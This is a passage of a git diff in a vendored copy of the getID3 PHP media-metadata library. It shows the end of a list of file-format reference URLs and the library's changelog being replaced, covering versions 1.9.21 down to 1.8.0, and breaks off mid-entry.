http://www.mp3-tech.org/programmer/frame_header.html +* http://users.belgacom.net/gc247244/extra/tag.html +* http://gabriel.mp3-tech.org/mp3infotag.html +* http://www.id3.org/iso4217.html +* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT +* http://www.xiph.org/ogg/vorbis/doc/framing.html +* http://www.xiph.org/ogg/vorbis/doc/v-comment.html +* http://leknor.com/code/php/class.ogg.php.txt +* http://www.id3.org/iso639-2.html +* http://www.id3.org/lyrics3.html +* http://www.id3.org/lyrics3200.html +* http://www.psc.edu/general/software/packages/ieee/ieee.html +* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html +* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html +* http://www.jmcgowan.com/avi.html +* http://www.wotsit.org/ +* http://www.herdsoft.com/ti/davincie/davp3xo2.htm +* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html +* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org) +* http://midistudio.com/Help/GMSpecs_Patches.htm +* http://www.xiph.org/archives/vorbis/200109/0459.html +* http://www.replaygain.org/ +* http://www.lossless-audio.com/ +* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe +* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf +* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/) +* http://jfaul.de/atl/ +* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/) +* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html +* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm +* http://www.fastgraph.com/help/bmp_os2_header_format.html +* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm +* http://flac.sourceforge.net/format.html +* http://www.research.att.com/projects/mpegaudio/mpeg2.html +* http://www.audiocoding.com/wiki/index.php?page=AAC +* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf +* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt +* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm +* http://www.nullsoft.com/nsv/ +* http://www.wotsit.org/download.asp?f=iso9660 +* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html +* http://www.cdroller.com/htm/readdata.html +* http://www.speex.org/manual/node10.html +* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc +* http://www.faqs.org/rfcs/rfc2361.html +* http://ghido.shelter.ro/ +* http://www.ebu.ch/tech_t3285.pdf +* http://www.sr.se/utveckling/tu/bwf +* http://ftp.aessc.org/pub/aes46-2002.pdf +* http://cartchunk.org:8080/ +* http://www.broadcastpapers.com/radio/cartchunk01.htm +* http://www.hr/josip/DSP/AudioFile2.html +* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html +* http://www.pure-mac.com/extkey.html +* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt +* http://www.headbands.com/gspot/ +* http://www.openswf.org/spec/SWFfileformat.html +* http://j-faul.virtualave.net/ +* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html +* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html +* http://sswf.sourceforge.net/SWFalexref.html +* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt +* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm +* http://developer.apple.com/quicktime/icefloe/dispatch012.html +* http://www.csdn.net/Dev/Format/graphics/PCD.htm +* http://tta.iszf.irk.ru/ +* http://www.atsc.org/standards/a_52a.pdf +* http://www.alanwood.net/unicode/ +* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html +* http://www.its.msstate.edu/net/real/reports/config/tags.stats +* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt +* http://brennan.young.net/Comp/LiveStage/things.html +* http://www.multiweb.cz/twoinches/MP3inside.htm +* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended +* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/ +* http://www.unicode.org/unicode/faq/utf_bom.html +* http://tta.corecodec.org/?menu=format +* http://www.scvi.net/nsvformat.htm +* http://pda.etsi.org/pda/queryform.asp +* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm +* http://trac.musepack.net/trac/wiki/SV8Specification +* http://wyday.com/cuesharp/specification.php +* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html +* http://wiki.hydrogenaud.io/index.php?title=TAK diff --git a/vendor/james-heinrich/getid3/changelog.txt b/vendor/james-heinrich/getid3/changelog.txt index 05ece8a013..5b8ffa5a5f 100644 --- a/vendor/james-heinrich/getid3/changelog.txt +++ b/vendor/james-heinrich/getid3/changelog.txt @@ -1,3010 +1,3010 @@ -///////////////////////////////////////////////////////////////// -/// getID3() by James Heinrich // -// available at http://getid3.sourceforge.net // -// or https://www.getid3.org // -// also https://github.com/JamesHeinrich/getID3 // -///////////////////////////////////////////////////////////////// -// // -// changelog.txt - part of getID3() // -// See readme.txt for more details // -// /// -///////////////////////////////////////////////////////////////// - - » denotes a major feature addition/change - ¤ denotes a change in the returned structure - ! denotes a cry for help from developers -* Bugfix: denotes a fixed bug - -Version History -=============== - -1.9.21: [2021-09-22] James Heinrich :: 1.9.21-202109171300 - » add support for RIFF.guan - ¤ add ID3v1 genres 148-191 - ¤ torrent files easy access key - * bugfix #342 demo.mysqli.php XSS - * bugfix #340 default quicktime.ReturnAtomData=false - * bugfix #338 improved transliterated tag merging - * bugfix #337 PHP 8.1 compatibility - * bugfix #335 PHP 8.1 compatibility - * bugfix #330 QuicktimeContentRatingLookup 'rtng' - * bugfix #328 throw exception if a resource seek fails - * bugfix #326 improved temporary path detection - * bugfix #325 INF/NAN constants instead of float/string - * bugfix #324 Nikon-specific atoms in QuickTime - * bugfix #321 prevent errors on corrupt JPEGs - * bugfix #319 prevent error in ZIP contents MIME detect - * bugfix #315 ID3v2 USLT check for data length - * bugfix #308 silence libxml deprecation warning - * bugfix #304 undefined index: comments - * bugfix #299 decbin type error in PHP8 - * bugfix #298 error scanning WAV via file pointer - * bugfix #294 replace IMG_JPG with IMAGETYPE_JPEG - * bugfix #292 PDFs take long time to parse - * bugfix #291 divzero QuickTime with no playable content - * bugfix #290 detect ID3v1 on minimal example files - * bugfix #289 avoid crash on invalid TIFF - * bugfix #287 mp3 CBR detected as VBR - * bugfix #286 corrupt mp3 can cause slow scanning - * bugfix #284 allow "0" as a value in tags - * bugfix #283 array offset on value of type int - * bugfix #277 ID3v2 add new Turkish Lira TRY - * bugfix #270 demo.mysqli.php LONGBLOB - * bugfix #266 fix possible endless loop on PNG - * bugfix #257 undefined variables - * bugfix #207 improved LAME version string parsing - -1.9.20: [2020-06-30] James Heinrich :: 1.9.20-202006061653 - » add support for DSDIFF audio - » add support for TAK lossess audio - » add support for IVF video - » add detection support for EPUB files - » add detection support for HPK archives - » add demo.mysqli.php, remove demo.mysql.php - ¤ QuickTime.uuid now returned as an array (may contain multiple entries) - ¤ improved PDF support, including page count - * bugfix (G:247) array_min incorrect return value - * bugfix (G:242) filepointer analysis errors - * bugfix (G:238) comments_html may not match comments - * bugfix (G:235) prevent disclosing paths when accessing modules directly - * bugfix (G:233) Quicktime duplicate attached images - * bugfix (G:229) Quicktime timestamps easy access - * bugfix (G:228) master.zip did not contain demos - * bugfix (G:227) Quicktime check subatoms data length - * bugfix (G:226) uuid parsing based on UUID - * bugfix (G:225) use comments_html content already generated by modules - * bugfix (G:223) ID3v2 slashed genre names - * bugfix (G:222) demo.browse filesystem character encoding - * bugfix (G:221) option_tags_html=false ignored - * bugfix (G:219) Quicktime.UUID now parsed more discriminately for XML and other data types - * bugfix (G:218) QuickTime not copying covr to comments - * bugfix (G:217) mp3 array offsets of type bool - * bugfix (G:216) ID3v2.write allow WMP rating in POPM - * bugfix (G:210) PHP 7.4 deprecated get_magic_quotes - * bugfix: Quicktime detect null-terminated strings used where Pascal strings should be - * bugfix: Quicktime GPS uninitialized array keys - -1.9.19: [2019-12-17] James Heinrich :: 1.9.19-201912131005 - » add placeholder support for WTV (Windows Recorded TV Show) - * bugfix (G:210) PHP 7.4 deprecated get_magic_quotes - * bugfix (G:207) improved LAME version string parsing - * bugfix (G:206) inverted logic in CopyTagsToComments - * bugfix (G:203) use getimagesizefromstring if available - * Quicktime decode 'uuid' atom for 360fly cameras - -1.9.18: [2019-07-24] James Heinrich :: 1.9.18-201907240906 - * bugfix (G:198) use native hash functions instead of obsolete external binaries - * bugfix (G:194) PHP 7.4 compatibility: fix deprecated curly brace array access - * bugfix (G:191) unsupported operand types module.audio.ac3.php:763 - * bugfix (G:189) false UTF-16 and no termination strings - * bugfix (G:188) add support for DS2 v8 - * bugfix (G:187) RIFF.WAVE.scot parsing - * bugfix (G:184) invalid regex pattern (ID3v1) - * bugfix (G:183) reduced information for GIF files with $option_extra_info=false - * bugfix (G:175) mp4 max buffer size - * bugfix (G:174) TIFF parsing improvements - * bugfix (G:121) trailing nulls in ID3v2 strings - * standardize "track" -> "track_number" - -1.9.17: [2019-02-07] James Heinrich :: 1.9.17-201902071234 - * bugfix (G:178) HandleAllTags should skip "picture" - * bugfix (G:177) error checking for reading more than PHP memory_limit - * bugfix (G:176) improved mp3 detection in remote-file demo - * bugfix (G:173) Add filepointer option to analyze/openfile function - * bugfix (G:170) Add support for WXXX (URL) and APIC (attached picture) subframes inside ID3v2 chapters - * bugfix: write.id3v2 year field - * bugfix: mp3.APE permit optional " dB" in ReplayGain tags - * placeholder support for .xz file format - -1.9.16: [2018-10-17] James Heinrich :: 1.9.16-201810171314 - * bugfix (G:168) Ogg FLAC not parsed - * bugfix (G:163) invalid MP3 header error on VBR - * bugfix (G:162) prevent writing multiple ID3v2 versions - * bugfix (G:161) MP3 VBR header duration - * bugfix (G:160) OggOpus duration sometimes incorrect - * bugfix (G:157) quicktime GPS invalid argument - * bugfix (G:148) MPEG-2 aspect ratio - * bugfix (G:147) Quicktime fourcc codec name lookup - * bugfix (G:147) Quicktime audio/video bitrate guessing - * bugfix (G:145) incompatible variable types - * bugfix (G:139) Quicktime islt subatoms >5 - * bugfix (G:137) ID3v2 semi-numeric genres - * bugfix (G:136) ID3v2 unsynchronised typo - * bugfix (#2514) FLAC zero-byte block header - * bugfix (#2488) MIME types (FLAC, WAV, gzip) - * bugfix (#2468) Quicktime video rotation - * bugfix (#2207) metaflac + attached pictures - * bugfix (#2151) improved demo UNC filename support - * bugfix (#1966) fread fail when PHP memory_limit -1 - * bugfix (#1908) Quicktime rotation detection (using matrix values) - * bugfix (#1908) Quicktime "rcif" and "dscp" atoms - * bugfix (#1900) demo.joinmp3 cut from end - * security: avoid disabled demo reflection - * TIFF: expand list of named tags, expose as 'tag_name' key for all entries - * Quicktime: parse some GoPro-specific data - * helperapps (Windows): updated vorbiscomment.exe, metaflac.exe to v1.3.2 - * add more image formats supported by getimagesize() - -1.9.15: [2017-10-26] James Heinrich :: 1.9.15-201709291043 - » (G:108) add basic APNG support - » (G:107) add basic WebP support - * return RIFF.WAV.CART comments in merged comments section - * add support for QuickTime 'loci' chunk - * bugfix: (#2124) support for Quicktime/MP4 "chpl" (CHaPter List) atom - * bugfix: (G:128) undefinied bsmod in module.ac3 - * bugfix: (#2114) possible issue with UTF8 filenames and metaflac - * bugfix: (G:123) remove MySQL engine and collation from create table - * bugfix: (#2066) fix AAC MIME type, remove video key for audio-only files - * bugfix: (G:111) QuickTime stsd number_entries deadlock - * bugfix: (G:110) PHP memory limit with space - * bugfix: (G:109) improved animated GIF support - * bugfix: (#1966) GPS track in QuickTime - -1.9.14: [2017-03-27] James Heinrich - » Add experimental support for E-AC3 - * bugfix (G:105): RIFF.WAVE.iXML multiple TIMESTAMP_SAMPLE_RATE - * bugfix (G:95): improperly initialized error/warning keys - * bugfix (G:94): ID3v2 write support for TXXX - * bugfix (G:93): all errors or warnings should pass through class method - -1.9.13: [2016-12-14] James Heinrich - * bugfix (G:89): ID3v2.4 custom genres with slashes - * bugfix (G:88): large QuickTime files exceed PHP memory limit - * bugfix (G:87): ID3v2 write GRID data not working properly - * bugfix (G:86): Increase autoloading definitions - * bugfix (G:84): ID3v2 available writable frames list - * bugfix (G:82): ID3v2 datetime logic - * bugfix (G:80): attempt to autodetect ID3v1 encoding - * bugfix (G:77): add partial support of DSSv6 - * bugfix (G:76): add mysqli version of caching extension - * bugfix (G:75): mysql cache max key length - * bugfix (G:71): custom error handler to catch exif_read_data() errors - * bugfix (G:71): add support for mb_convert_encoding - * bugfix (G:70): ID3v2 POPM / UFID - * bugfix (G:68): workaround broken iTunes ID3v2 - * bugfix (G:48): Quicktime set MIME to video/mp4 where applicable - * bugfix (#1930) fread on pipes - * bugfix (#1926) relax ID3v2.IsValidURL check - -1.9.12: [2016-03-02] James Heinrich - » Add support for Direct Stream Digital (DSD) / - DSD Storage Facility (DSF) file format - » Add detection (not parsing) of WebP image format - * bugfix (#1910): Quicktime embedded images - -1.9.11: [2015-12-24] James Heinrich - * bugfix (G:64): update constructor syntax for PHP 7 - * bugfix (G:62): infinite loop in large PNG files - * bugfix (G:61): ID3v2 remove BOM from frame descriptions - * bugfix (G:60): missing "break" in module.audio-video.quicktime.php - * bugfix (G:59): .gitignore comments - * bugfix (G:58): inconsistency in relation to module.tag.id3v2.php - * bugfix (G:57): comparing instead of assign - * bugfix (G:56): unsupported MIME type "audio/x-wave" - * bugfix (G:55): readme.md variable reference - * bugfix (G:54): QuickTime false 1000fps - * bugfix (G:53): Quicktime / ID3v2 multiple genres - * bugfix (G:52): sys_get_temp_dir in GetDataImageSize - * bugfix (#1903): Quicktime meta atom not parsed - * demo.joinmp3.php enhancements - * m4b (audiobook) chapters not parsed correctly - * sqlite3 caching not working - -1.9.10: [2015-09-14] James Heinrich - * bugfix (G:49): Declaration of getID3_cached_sqlite3 - * bugfix (#1892): extension.cache.mysql - * bugfix (#1891): duplicate default clause [Quicktime] - * bugfix (G:41): incorrect MP3 playtime - * bugfix: iconv problems on musl with //TRANSLIT - * Add arguments to analyze() for original filesize (and filename) - * ID3v2 simplify handling of multiple genres - * Corrected merging of multiple genres for ID3v2 - * getid3_lib::GetDataImageSize return false on error - -1.9.9: [2014-12-18] James Heinrich - » Added basic support for OggOpus - » Add ID3v2 CHAP + CTOC support - * Add composer autoloader - * bugfix: removed non-printable ASCII in comment - * bugfix: possible memory leak in OggFLAC - * bugfix: sys_get_temp_dir undefined before PHP 5.2.1 - * bugfix: improved fix for XXE security issue (CVE-2014-2053) - (thanks nacinØwordpress*org) - * bugfix: G:25 ID3v2 LINK utf8_encode not defined - * bugfix: G:22 ID3v2 TXXX description encoding - * bugfix: #1855 - copy image height/width/etc to comments - * bugfix: #1855 - PHP errors in badly written APE/ID3v2 tags - * bugfix: #1845 - Quicktime parsing with no PHP memory_limit - * bugfix: #1828 - ID3v2 writing unknown frame names - -1.9.8: [2014-05-11] James Heinrich - » Add support for AMR (Adaptive Multi-Rate audio codec) - new file: module.audio.amr.php - » Added composer.json, registered on packagist.org - * Added workaround for PHP Bug #39923 (undefined constant IMG_JPG) - * Bugfix: (#1813) avoid running out of memory when parsing large - Quicktime files - * Bugfix: (#1812) potential unwanted high-ASCII characters in errors - * Bugfix: close potential XXE security issue (CVE-2014-2053) - * Bugfix: (G:10) Avoid warnings from realpath() if SAFE MODE is enabled - * Bugfix: (G:12) If [tags] data contains an array of strings then html - encoding did not take place. - * Bugfix: (G:12) IPTC character set not specified - * Bugfix: possible divide by zero error in FLV module - * Bugfix: possible undefined key in ID3v2 - * Bugfix: possible undefined key in MPEG video files - * Bugfix: demo.browse to use character set consistently - -1.9.7: [2013-07-05] James Heinrich - * Bugfix: [module.audio-video.quicktime.php] track languages set - with 15-bit-encoded ISO639-2 language codes not parsed correctly - * Bugfix: (#1717) QuickTime atom hierarchy broken - * Bugfix: (#1716) truncate MIDI file could cause infinite loop - * Bugfix: all source files converted to UTF-8 - -1.9.6: [2013-06-03] James Heinrich - » getID3() is now licensed under GPL / LGPL / MozillaPL / gCL - See license.txt for more details. - * Bugfix: (#1550) Quicktime video track sample description parsed - incorrectly - * Bugfix: (#1550) Quicktime matrix U/V/W values calculated incorrectly - * [demo.browse] disable edit-tag and delete-file links by default - * Bugfix: option_max_2gb_check should issue warning not error on >2GB - -1.9.5: [2013-02-20] James Heinrich, Dmitry Arkhipov - » DTS-in-WAV now properly supported - ¤ DSS files return additional data in new keys, and some existing - keys have been renamed - * Bugfix: open_basedir not parsed correctly under Windows - (thanks yannick*jamontØgmail*com) - * Bugfix: [demo/demo.browse] might not display file or directory name - on PHP >=5.4.0 if filename not UTF-8 friendly - * Bugfix: [demo/demo.zip] could read more uncompressed data than - required; fail to read file if local data descriptor not set; - some wrong include files were listed; improved error message display - * Bugfix: [module.audio-video.riff] INFO comment chunks with null name - chunk not parsed correctly - * Bugfix: [module.archive.gz] gzip files with filename stored may have - filename reduplicated in [gzip][files] output - * Bugfix: [module.archive.zip] data_descriptor not parsed correctly - * Bugfix: [module.archive.zip] some newer compression methods unknown - * Bugfix: [module.archive.zip] not all flags parsed - * Bugfix: [module.archive.zip] local file header not parsed correctly - if file has zero values for compressed_size in Local File Header - * Bugfix: (#1493) better support for >2GB filesize on 32-bit Linux - * Bugfix: (#1474) unneccesary call to GetDataImageSize in JPEG module - * Bugfix: (#1470) GIF files falsely detected as TS format - * Bugfix: (#1431) Matroska did not parse PixelCrop* / DisplayUnit - (thanks jgerberØwikimedia*org) - * Bugfix: (#1430) split ID3v2 text values on null separator - * Bugfix: (#1426) MS Office 2007 file format now recognized as zip.msoffice - * Bugfix: (#1423) optimized CreateDeepArray function - * Bugfix: (#1415) add support for DS2 variant of DSS - -1.9.4b1: [2012-10-05] James Heinrich, Dmitry Arkhipov, Karl G. Holz - » New module: extension.cache.sqlite3.php (by Karl G. Holz) - » New demo: demos/getid3.demo.dirscan.php (by Karl G. Holz) - » PHP5 standards improvements (thanks phansysØgmail*com) - » more reliable >4GB file size parsing using COM (if available) - Scripting.FileSystemObject rather than parsing `dir` output - * added support for FLAC inside Matroska (audio bitrate cannot - be determined in this case) - * XMP module now returns all tags, not just whitelisted ones - * (#1297) Added detection of MPEG Transport Stream files. - Stub module.audio-video.ts.php incomplete - * (#1383) removed unneeded ?> tags (thanks daveØholyfield*info) - * Bugfix: XMP returns attributes array not just value strings - * Bugfix: (#1369) ID3v2 IPLS contents not parsed - * Bugfix: (#1357) demo.mysql.php mysql_table_exists() failed - * Bugfix: (#1355) copy Foobar2000 QuickTime tags to [comments] - * Bugfix: (#1351) QuickTime files with zero-sized atom boxes - could cause infinite loop - * Bugfix: (#1343) FLAC attached pictures Ogg not handled - * Bugfix: (#1343) ID3v2 inside WAV "id3 " chunk not handled - * Bugfix: (#1315) BMP detection was broken - * Bugfix: (#1309) ID3v2.2 content_group_description (TT2) did - not copy to same place as ID3v2.3/ID3v2.4 (TIT2) - * Bugfix: (#1308) [playtime_string] could show hh:mm:60 - * Bugfix: (#1306) extension.cache.mysql.php keyword TYPE->ENGINE - * Bugfix: (#1295) missing video information if QuickTime file has - disabled tracks - * Bugfix: (#1275) MD5/SHA1 data hashes not working properly - under Windows - - -1.9.3: [2011-12-13] Dmitry Arkhipov, James Heinrich - * Matroska module improved: - 1. Added support for A_MS/ACM audio codec - 2. Fixed issues in tags, cues, chapters and clusters parsing - 3. Fixed almost all errors with track_data_offset, errors - still may occur with Xiph data lacing - 4. Optimized audio/video streams population with usage of the - official default values for missing elements - 5. Audio/video keys are now populated with data from the - default stream, not from the first one as before - 6. Full WebM support - * Bugfix: demo.browse would not pop up warnings when clicked - if warning contains apostrophe/single-quote character - * Bugfix: (#1269) ID3v1 genre typo "Trash"->"Thrash" Metal - - -1.9.2: [2011-12-08] James Heinrich, Dmitry Arkhipov - » significant rewrite to module.audio-video.matroska.php - ¤ (#1256) ID3 tags in AIFF 'ID3 ' chunks now parsed - ¤ (#1039) iXML data in WAV files now returned and parsed into - [riff][WAVE][iXML][0][data] and [riff][WAVE][iXML][0][parsed] - ¤ [playtime_string] now returns M:SS if less than 1 hour, and - H:MM:SS if 1 hour or longer - * Bugfix: (#1266) variable tablename: extension.cache.mysql.php - * Bugfix: (#1265) unescaped # in regex in write.id3v2.php - * Bugfix: (#1252) MediaMonkey writes blank ID3v2 RGAD frames - and puts replay-gain values in TXXX frames - * Bugfix: (#1251) FLV playtime could be inaccurate for longer - files where meta frame is present but meta-playtime is zero - * Bugfix: (#1216) show hex values of unknown atom names - * Bugfix: (#1215) undefined variable in PrintHexBytes() - * Bugfix: FLV audio bitrate was returning kbps not bps - * Bugfix: missing ) in write.real.php::RemoveReal() - * Bugfix: replace $this::VERSION with getID3::VERSION in - extension.cache.*.php - - -1.9.1: [2011-08-10] James Heinrich - ¤ ASF Extended Header Object data now (partially) parsed - * Default getID3 encoding now set to UTF-8 not ISO-8859-1 - * Bugfix: (#1212) truncated Matroska files may result in - infinite loop and memory exhaustion - * Bugfix: (#1203) parse RIFF JUNK chunks for version strings - * Bugfix: (#1201) multi-byte characters strings incorrectly - displayed by table_var_dump() in demo.browse.php - * Bugfix: (#1199) prevent PHP warning on malformed ID3v2 APIC - * Bugfix: (#1196) typo in module.audio-video.quicktime.php - * Bugfix: (#1195) QuicktimeStoreFrontCodeLookup() broken - * Bugfix: (#1194) mp4 embedded images not handled correctly - * Bugfix: (#1193) [image_mime] key not set fo WM/picture data - * Bugfix: (#1193) ASF Extended Header Object Metadata Library - now parsed for embedded images and handled per usual style - * Bugfix: (#1190) demo.mimeonly.php was broken since v1.9.0 - * Bugfix: ID3v2 comment is now called 'comment' not 'comments' - * Bugfix: AVI unknown codec fourcc would be reported as blank - * Bugfix: AVI zero-size JUNK chunk would give warning - - -1.9.0: [2011-06-20] James Heinrich - » changed all module classes to have proper constructors - with the actual analysis code moved to function Analyze() - * removed unnecessary ob_* calls, replaced with appropriate - checks and judicious use of @ error suppression - ¤ GETID3_VERSION constant replaced with $getID3->version() - ¤ picture data is now returned only in the original source - location and [comments][picture], it is no longer replicated - in [comments_html], [tags] or [tags_html] - ¤ Matroska tags are now returned in [comments] as per normal - ¤ Matroska tags are better supported, including pictures - ¤ GPS data in MP4 files (e.g. iPhone) is now parsed (#1157) - ¤ Matroska audio/video tracks with a default flag, the default - stream flag is now copied to [audio|video][streams] (#1147) - ¤ Nikon-specific data (NCDT atom) in Quicktime videos now parsed - ¤ QuickTime atoms 'meta' and 'data' now (mostly) parsed - * Bugfix: remove false warning of junk data on WAV+ID3v1 - * Bugfix: DolbyDigitalWAV files returned wrong audio bitrate - * Bugfix: large attachment data in Matroska tags were not - returned completely. - * Bugfix: wrong image_mime used for images in demo.browse.php - * Bugfix: broken preg_match in module.audio.dss.php - * Bugfix: Lyrics3 end offset was off by 1 - * Bugfix: audio channelmode could be wrong for 2 channels - (e.g. joint stereo reported as stereo) - * Bugfix: MultiByteCharString2HTML() would return empty string - if passed float or int value, now casts to string first - * Bugfix: FLAC.picture was not returning under [data] + - [image_mime] per standardized format - * Bugfix: BigEndian2Int() could incorrectly return negative - signed synchsafe integer instead of casting to float - * Bugfix: (#1177) ID3v2.4 extended headers were broken - * Bugfix: (#1173) some MIDI files not completely parsed - * Bugfix: (#1171) change helperapps error to nonblocking warning - * Bugfix: (#1170) possible infinite loop in FLV module - * Bugfix: (#1169) $this reference in static function (ID3v2) - * Bugfix: (#1156) demo.mysql.php not working - * Bugfix: (#1153) badly-tagged files could produce invalid - argument errors in module.tag.xmp.php - * Bugfix: (#1152) add error-suppression to iconv() calls - * Bugfix: (#1151) AAC-ADTS files could sometimes not find sync - * Bugfix: (#1136) last character of unicode tags (e.g. ASF) - was being truncated - * Bugfix: (#1133) write.id3v2.php IsValidURL() was broken - * Bugfix: (#1126) ID3v2.POPM field was being clobbered - * Bugfix: (#999, #1154) ID3v2 UFID data was missing - - -1.8.5: [2011-02-18] James Heinrich - » support >2GB files on 64-bit PHP - - note current unofficial 64-bit PHP builds for Windows - do not actually support 64-bit integers so are still - subject to normal 32-bit limits (2GB) for file functions - » PHP v5.0.5 now minimum required version. - Removed obsolte functions from getid3.lib.php: - md5_file, sha1_file, image_type_to_mime_type - » IDivX tags now parsed on AVI files - ¤ embedded image data is returned inside [comments][picture] - in a 2-element array (data, image_mime) for all formats - * $this->overwrite_tags=false is now known to be buggy and - has been disabled for this version until a full review - of tag writing can be completed. Certainly affects ID3v2, - the other writable tag formats may or may not be broken - * getID3 constructor no longer checks for (or sets) timezone - * demo.browse.php now shows cover art as inline images - rather than dumped to separate files - * [audio][streams][x][language] now set when known - * Bugfix: RIFF-AVI "JUNK" chunks are now parsed properly, - including zero-sized ones (no more false errors) - * Bugfix: msoffice documents now return correct error message - * Bugfix: demo.browse.php now encodes data according to - current page encoding (default=UTF-8) - * Bugfix: (#1120) sometimes incorrect ID3v2 genre parsing - * Bugfix: (#1116) possibly incorrect warnings (or lack of) - for RIFFs > 2GB. - * Bugfix: (#1115) wrong RIFFtype in RIFF files - * Bugfix: (#1114) wrong MIME type may be set for Matroska - * Bugfix: (#1113) support DSS v3 files - * Bugfix: (#1111) cover art in APE tags now supported - * Bugfix: (#1091) RemoveID3v1() unitialized variables - * Bugfix: (# 504) do not set Quicktime resolution if - 'tkhd' atom is disabled - * Bugfix: (# 95) return [quicktime][controller] if known - - -1.8.4: [2011-02-03] James Heinrich - * change default encoding in ID3v2 writing to UTF16-LE+BOM - (or ISO-8859-1 where possible) for better compatability - with broken versions of Windows Media Player and iTunes - * Bugfix: [FLV] incorrect overall bitrate in some files - * Bugfix: (#1102) missing parentheses in write[.id3v2].php - * Bugfix: (#510) undefined IsValidDottedIP() in write.id3v2.php - - -1.8.3: [2011-01-18] James Heinrich - » magic_quotes_gpc must now be disabled to use getID3 - » replace all error-suppressing @$variable calls with - isset() or empty() as appropriate for some configurations - where @ does not act to suppress warnings of undefined - variables (e.g. support forum thread #798) - * remove SafeStripSlashes() and FixTextFields functions - * [quicktime] use fourcc if codec name zero-length - * [quicktime] support "iods" atom - * Bugfix: (#1099) sometimes incorrect detection of safe_mode - * Bugfix: (#1095) more robust setting of temp dir - * Bugfix: (#1093) add support for ClusterSimpleBlock to - prevent "Undefined index: track_data_offsets" errors - in Matroska files - * Bugfix: [riff] prevent errors when RIFF.WAVE.BEXT chunk - contains null date/time (thanks moysevichØgmail*com) - * Bugfix: [quicktime] prevent divide-by-zero errors if - time_to_sample_table has zero-sample entry - (thanks moysevichØgmail*com) - - -1.8.2: [2010-12-06] James Heinrich - * include startup warning for PHP < v5 - * magic_quotes_runtime must now be disabled to use getID3 - ¤ MusicBrainz / AmpliFIND data more accessible in returned data - from Quicktime-style files (e.g. MP4/AAC) - * Bugfix: (#1079) wrong encoding might be used for ID3v2 - text data, and/or garbage data prepended before text - data; DataLengthIndicator value was being ignored - * Bugfix: (#1055) clearer warnings on non-EXIF contents in - JPEG [APP1] - * Bugfix: (#999) ID3v2 UFID data was missing - - -1.8.1: [2010-11-25] James Heinrich - * replaced calls to deprecated mysql_escape_string() with - mysql_real_escape_string() - * Bugfix: (#1072) memory limit not handled correctly if - in gigabytes in php.ini (e.g. "2G") - * Bugfix: (#1068) wrong encoding for Quicktime tags - * Bugfix: (#1040) possible infinite loop in genre parsing - * Bugfix: (#1036) helperapps directory not resolving 8.3 - path names correctly - * Bugfix: (#1023) dbm cache extension not correctly handling - types other than "db3" - * Bugfix: (#1023) mysql cache extension now base64_encodes - data to make binary-safe. Existing cached data must be - purged from your database cache - * Bugfix: (#1007) ClosestStandardMP3Bitrate() not selecting - most appropriate value - * Bugfix: (#996) inefficient and buggy ID3v1 and ID3v2 - genre parsing - * Bugfix: (#974) track number handled incorrectly in - demo.write.php - * Bugfix: (#969) tempnam() calls failing with open_basedir - * Bugfix: (#955) UTF-16LE text files could be falsely - identified as corrupt mp3 files - * Bugfix: (#877) detect if mbstring.func_overload is set in php.ini - * Bugfix: (#858) PHP safe_mode setting in php.ini incorrectly - handled if set to "Off" - * Bugfix: (#838) prevent warnings with assorted unhandled - Quicktime atoms - - -1.8.0: [2010-11-23] James Heinrich - » Changes required for PHP v5.3+ compatability, including: - - change ereg* functions to preg_* equivalents - - declare functions static as needed - note: users of PHP v4.x may need to stay with getID3 v1.7.x - » Added CUE (cuesheet) support - new file: module.misc.cue.php - (thanks Nigel Barnes ngbarnesØhotmail*com) - » Added XMP (Adobe Extensible Metadata Platform) support - currently used with module.graphic.jpg.php - new file: module.tag.xmp.php - (thanks Nigel Barnes ngbarnesØhotmail*com) - ¤ [jpg][exif][GPS][computed] now exists when possible with - calculated values (decimal latitude, longitude, altitude, time) - ¤ Prevent clobbering WMA artist with albumartist value; added WMA - partofset tag; added WMA tag picture data to WMA comments - (thanks ngbarnesØhotmail*com) - ¤ RIFF.WAVE.SNDM (SoundMiner) metadata now parsed - (thanks emerrittØwbgu*bgsu*edu) - ¤ FLAC embedded pictures now return [data_length] key - (thanks darrenburnhillØhotmail*com) - * added support for a number of new comment atom types added in - iTunes v4.0-v7.0 (thanks ngbarnesØhotmail*com) - * demo.browse.php now shows video resolution and framerate (if no - artist or title info present) - * additional FLV details parsed, may be faster as well - (thanks ngbarnesØhotmail*com) - * Bugfix: DSS files longer than 60 seconds had wrong playtime - * Bugfix: possible empty array encountered in APE tags - (thanks csnaitsirchØweb*de) - * Bugfix: prevent fatal error 